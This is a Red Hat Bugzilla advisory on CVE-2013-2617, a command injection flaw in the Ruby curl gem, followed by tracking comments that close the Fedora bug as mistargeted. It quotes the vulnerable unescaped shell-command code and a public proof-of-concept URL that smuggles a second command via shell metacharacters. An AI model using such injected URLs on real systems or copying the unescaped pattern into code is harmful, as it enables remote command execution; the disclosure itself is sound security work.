Red Hat Bugzilla – Bug 924240
CVE-2013-2617 rubygem-curl: insufficient URL escaping command injection
Last modified: 2015-07-31 03:02:27 EDT
Common Vulnerabilities and Exposures assigned an identifier CVE-2013-2617 to the following vulnerability: lib/curl.rb in the Curl Gem for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a URL. References: [1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2617 [2] http://seclists.org/fulldisclosure/2013/Mar/124 [3] http://www.openwall.com/lists/oss-security/2013/03/19/9 [4] http://packetstormsecurity.com/files/120778/Ruby-Gem-Curl-Command-Execution.html [5] http://www.osvdb.org/91230
Copy of public reproducer (from [4]): ------------------------------------- Curl Ruby Gem Remote command execution 3/12/2013 https://github.com/tg0/curl Specially crafted URLs can result in remote code execution: In ./lib/curl.rb the following lines: 131 cmd = "curl #{cookies_store} #{browser_type} #{@setup_params} {ref} \"{url}\" " 132 if @debug 133 puts cmd.red 134 end 135 result = open_pipe(cmd) PoC: page = curl.get("http://vapid.dhs.org/\"\;id\/tmp\/p\;\"") larry@underfl0w:/tmp$ cat p uid=0(root) gid=0(root) groups=0(root) Larry W. Cashdollar @_larry0 http://vapid.dhs.org
Created rubygem-curb tracking bugs for this issue Affects: fedora-all [bug 924242]
(In reply to comment #2) > Created rubygem-curb tracking bugs for this issue > > Affects: fedora-all [bug 924242] I am not sure there's an upstream patch for this issue yet (wasn't able to find one from git log). But once there is, please be sure to schedule Fedora rubygem-curb package updates.
curl and curb are two different gems. The bug refers to curl gem while this bug is assosicated to rubygem-curb, which seems to be mistake.
(In reply to comment #5) > curl and curb are two different gems. The bug refers to curl gem while this > bug is assosicated to rubygem-curb, which seems to be mistake. This is truly correct (those are different ones): [1] https://rubygems.org/gems/curl (the Gem flaw was in) [2] https://rubygems.org/gems/curb (this bug is targeted against) Thank you for pointing out, Vit (closing bug as invalid && apologize for the noise).